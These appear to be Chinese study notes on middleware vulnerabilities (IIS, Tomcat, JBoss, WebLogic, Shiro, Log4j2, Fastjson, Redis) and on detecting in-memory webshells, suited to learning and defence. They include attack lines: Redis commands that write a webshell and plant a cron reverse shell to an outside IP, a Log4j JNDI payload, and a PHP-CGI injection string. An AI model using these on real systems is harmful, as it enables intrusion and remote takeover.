中间件
IIS漏洞
IIS PUT漏洞
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。版本:IIS6.0
短文件名猜解漏洞
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
局限性
1) 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
2) 如果文件名本身太短(无短文件名)也是无法猜解的;
3) 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
远程代码执行
在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。
解析漏洞
IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
/test.php/test.jpg
test.php;.jpg
Apache漏洞
Apache文件解析漏洞涉及到一个解析文件的特性:
Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,则继续向左识别,当我们请求这样一个文件:test.php.123 ``` 123->无法识别,向左 php->识别 正确 ``` php->发现后缀是php,交给php处理这个文件
还存在由于配置错误导致的目录遍历漏洞
Nginx
Nginx解析漏洞
对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析。
test.jpg 图片马或者shell 不解析 然后在后面加上 test.jpg/x.php 就会解析成php文件
目录遍历漏洞 由于配置错误导致的
Tomcat漏洞
PUT 任意文件上传
Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。影响版本:Apache Tomcat 7.0.0 – 7.0.81
war后门文件部署
Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。若后台管理页面存在弱口令,则可以通过爆破获取密码。
jBoss漏洞
JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),
远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。
JMXInvokerServlet 反序列化漏洞(CVE-2015-7501),
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,
然后我们利用Apache Commons Collections中的Gadget执行任意代码。
CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,
CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的
HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码
JMX Console未授权访问
默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息
不需要输入用户名和密码可以直接部署上传木马有安全隐患
部署的war包在本地的路径为:
JBoss AS 6.x:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
JBoss AS 4.x:C:\jboss-4.2.3.GA\server\default\work\jboss.web\localhost
JBoss Administration Console存在默认账号密码admin/admin,
如果Administration Console可以登录,就可以在后台部署war包getshell
WebLogic漏洞
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令
WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。
weblogic后台未授权访问 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
PHPCGI远程代码执行
在apache调用php解释器解释.php文件时,会将url参数传给php解释器,如果在url后加传命令行开关 (例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行。此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响。
JAVA漏洞
Java 序列化与反序列化的函数 在Java 原⽣的API 中:
操作 函数
序列化 ObjectOutputStream.writeObject()
反序列化 ObjectInputStream.readObject()
利⽤⽅式:RMI JNDI
RMI是⼀种⾏为,指的是Java远程⽅法调⽤。
JNDI是⼀个接⼝,在这个 接⼝下会有多种⽬录系统服务的实现,通过名称等去找到相关的对 象,
并把它下载到客户端中来。ldap 指轻量级⽬录服务协议。
反射利用Runtime.getRuntime().exec或java.lang.ProcessBuilder执行
JNDI远程调用<br / Templates执行字节码
EL表达式
其他可执行命令的接口OS命令执行
Runtime.exec
Process
GroovyShell.evaluate
ProcessBuilder. start()
shiro反序列化
Apache Shiro框架提供了记住我的功能(RememberMe),
⽤户登陆成功后会⽣成经过加密并编码的 cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。
攻击者只要找到AES加密的密钥,就可以构造⼀个恶意对象,
对其进⾏序列化–>AES加密–>Base64编码,然后 将其作为cookie的rememberMe字段发送, Shiro将rememberMe进⾏解密并且反序列化,
最终造成反序列化漏 洞。
漏洞特征:
shiro反序列化的特征:返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
shiro 550 和 721的区别
shiro550:aes编码导致密钥可以被爆破,然后利用密钥进行解密和反序列化构建payload<br / shiro721:通过Padding Oracle随机生成的加密
流量特征:rememberMe=deleteMe 字段长度异常
shiro 不出网
1.写webshell ,上传马子
log4j2-RCE
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的, 该功能模块在输出⽇志信息时允许开发⼈员通过相应的协议去请求远程主机上的资源。⽽开发⼈员在处 理数 据时,并没有对⽤户输⼊的信息进⾏判断, 导致Log4j2请求远程主机上的含有恶意代码的资源 并执⾏其中的代 码,从⽽造成远程代码执⾏漏洞。PAYLOAD: ${jndi:ldap://xxx.dnslog.cn}
有状态码200判断是否攻击成功
分析被攻击服务器与攻击者之间流量交互,从流量层面分析执行了操作,系统历史命令,有没有去访问流量中 远程加载class类的ip。
Struts2漏洞
Struts2框架在解析JSP标签时,将⽤户输⼊的Value值递归解析%{}造成⼆次解析,触发OGNL表达式注 ⼊, 造成任意代码执⾏漏洞
OGNL表达式注⼊ OGNL(Object-Graph Navigation Language)是Struts2框架中的⼀种表达式语⾔,⽤于访问和操作 Java对象的属性。OGNL语⾔⽀持访问对象属性、调⽤⽅法、进⾏算术运算、⽐较、逻辑运算等操作, 是 Struts2框架中⾮常重要的⼀个特性
判断是否是Struts2
一般st2框架开发的网站,url上会有.action或.do后缀的文件名 在相关接口追加actionErrors参数,通过网站页面的回显错误消息来判断。st2框架中是否存在http://ip/struts/webconsole.html这个默认文件。Content-Type字段的开头是否形如%{#x=['xxx']
漏洞执行特征
一般在url中会出现的攻击特征主要是.action?method?redirect:$ 。请求参数中含有不合法的方法调用,如action::(),method::()等。请求中有不合法的Content-Type,如application/x-www-form-urlencoded。
Fastjson漏洞
漏洞原理 FastJson在解析json的过程中,⽀持使⽤autoType来实例化某⼀个具体的类, 并调⽤该类的set/get⽅法来访问属性。通过查找代码中相关的⽅法,即可构造出⼀些恶意利⽤链。通俗理解就是:漏洞利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验 证,攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,甚⾄可以利⽤此 漏洞 进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤影响。
最主要漏洞流量特征:含有@type 1、抓包,看请求包中传入的参数值是否形如json格式,如{"id":100,"xx":000}。随后将json数据随意修改,看响应包中是否出现fastjson.JSONException字样。2、正常请求是get请求没有请求体。可以通过构造错误的POST请求, 看返回包中是否有fastjson这个字符串。
fastjson 不出网
TemplatesImpl利用连
版本 1.2.24
苛刻条件:服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField); 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)
这是因为 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性, 要满足private属性的数据。所以比较苛刻。
BCEL 字节码利用:BCEL是一个开源的Java字节码操作库,它可以用来分析、创建和修改Java字节码。攻击者可以利用BCEL来修 改fastjson处理JSON数据的方式,从而触发漏洞。例如,攻击者可能会修改fastjson的某些关键类,使其在处 理特定的JSON输入时执行攻击者注入的代码。
其他
Redis 常见漏洞
Redis 未授权访问漏洞
原理
redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直 接暴露在公网。没有设置密码认证(一般为空),可以免密码远程登录redis服务。payload:redis-cli -h 192.168.1.12
写webshell
config set dir /var/www/html/
config set dbfilename shell.php<br / set xxx ""
save
写公钥
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,
然后通过修改 数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,
把缓冲的数据保存在文件里,这 样就可以在服务器端的/root/.ssh下生成一个授权的key。
写计划任务
redis-cli -h 192.168.1.12
set xxx "\n\n*/1 * * * * /bin/bash -i>&/ dev/tcp/192.168.1.13/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/<br /config set dbfilename root
save
还有
redis ssrf漏洞 redis 主从负责
内存马
内存马是无文件攻击的一种技术手段。无文件攻击可以有效地躲避传统安全软件的检测 它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具 例如PowerShell,Windows Management Instrumentation(WMI)和PsExec等。
内存马类型
servlet-api型通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现 命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的 valve内存马
字节码增强型通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。
内存马排查思路
1.先查看检查服务器web日志,查看是否有可疑的web访问日志,比如说filter或者listener类型的内存马, 会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的请求。
2.查看是否有类似哥斯 拉、冰蝎特征的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。
3. 通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。4.利用java-memshell-scanner或findshell脚本进行查杀 5.利用java的诊断工具arthas进行查杀 6.如果是jsp注入,日志中排查可疑jsp的访问请求。
特征
1、内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式 声明,这个特征可以作为较强的特征。
2、内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。